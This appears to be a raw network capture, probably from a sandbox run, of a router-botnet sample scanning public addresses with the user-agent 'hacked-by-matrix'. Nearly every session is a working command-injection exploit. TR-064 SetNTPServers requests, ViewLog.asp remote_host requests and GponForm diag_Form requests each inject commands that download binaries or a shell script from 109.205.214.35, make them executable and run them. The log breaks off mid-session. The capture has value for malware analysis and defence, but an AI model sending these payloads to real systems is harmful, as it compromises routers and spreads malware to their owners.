Mar 21, 2024 05:17:57.416555882 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
827	192.168.2.23	59932	213.192.239.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.427752972 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:57.999109030 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
828	192.168.2.23	50666	14.60.160.191	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.710695982 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
829	192.168.2.23	34688	210.179.7.175	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.718962908 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
830	192.168.2.23	50674	14.60.160.191	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:57.999154091 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
831	192.168.2.23	34696	210.179.7.175	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:58.025930882 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
832	192.168.2.23	44114	50.48.204.52	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:58.052536964 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
833	192.168.2.23	49396	67.4.140.94	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:58.082463980 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:58.542784929 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:58.968985081 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:59.096507072 CET	113	IN	HTTP/1.1 400 Bad Request Date: Thu 21 Mar 2024 04:17:59 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
834	192.168.2.23	44162	50.48.204.52	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:58.215501070 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
835	192.168.2.23	36682	184.92.87.54	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:58.357584953 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
836	192.168.2.23	36688	184.92.87.54	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:58.542435884 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
837	192.168.2.23	39254	31.172.205.130	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:58.588655949 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
838	192.168.2.23	36930	183.115.12.180	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:58.661171913 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
839	192.168.2.23	39262	31.172.205.130	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:58.809437990 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
840	192.168.2.23	34852	82.165.3.75	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:58.828459978 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:59.802890062 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:59.994256973 CET	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 21 Mar 2024 04:17:59 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>
Mar 21, 2024 05:17:59.994268894 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Thu, 21 Mar 2024 04:17:59 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
841	192.168.2.23	36940	183.115.12.180	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:59.965480089 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
842	192.168.2.23	57688	97.126.17.153	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.162592888 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
843	192.168.2.23	43010	109.32.27.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.194928885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
844	192.168.2.23	43300	5.164.242.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:00.194963932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
845	192.168.2.23	42866	37.214.80.15	443

Timestamp	Bytes transferred	Direction	Data
